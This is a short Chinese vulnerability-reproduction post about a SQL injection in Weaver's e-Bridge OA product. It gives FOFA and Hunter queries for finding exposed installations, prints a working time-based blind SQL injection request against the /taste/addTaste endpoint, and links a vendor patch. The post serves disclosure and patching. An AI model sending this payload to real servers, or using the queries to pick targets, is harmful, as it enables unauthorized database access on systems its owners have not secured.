【漏洞复现】泛微云桥 e-Bridge SQL注入
2023-12-12 16:37:17 Author: 天擎攻防实验室(查看原文) 阅读量:46 收藏

0x01 阅读须知

天擎攻防实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

0x02 漏洞描述

（一） 泛微云桥 e-Bridge OA

泛微云桥 e-Bridge OA是一种基于云计算和移动互联网技术的企业办公自动化（OA）解决方案。它由中国的企业软件开发公司泛微软件开发，旨在帮助企业实现高效的办公管理和协同工作。
e-Bridge OA提供了一套全面的办公自动化工具，包括文档管理、流程管理、协同办公、知识管理、移动办公等功能。它的核心理念是将企业内部的各种业务流程数字化，并通过云端技术实现跨部门、跨地域的协同办公和信息共享。


FOFA语法：

app="泛微-云桥e-Bridge"

hunter语法：

app.name="泛微云桥 e-Bridge OA"
    hunter共15,524条资产


（二） 漏洞复现
GET /taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=1%27%20AND%20(SELECT%208094%20FROM%20(SELECT(SLEEP(9-(IF(18015%3e3469,0,4)))))mKjk)%20OR%20%27KQZm%27=%27REcX HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Accept: */*Cookie: EBRIDGE_JSESSIONID=CAE1276AE2279FD98B96C54DE624CD18; sl-session=BmCjG8ZweGWzoSGpQ1QgQg==; EBRIDGE_JSESSIONID=21D2D790531AD7941D060B411FABDC10Accept-Encoding: gzipSL-CE-SUID: 25

0x03 修复方案

官方修复缓解措施

补丁链接

https://www.weaver.com.cn/subpage/aboutus/news/news-detail.html?id=9345


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484284&idx=1&sn=b9cd46df0cb387d7bbfc41481be27cc3&chksm=fd34cca598c80ec3d919308707e1efc7fdc33a920985214327787ee5646599ce74f6551c8f1c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh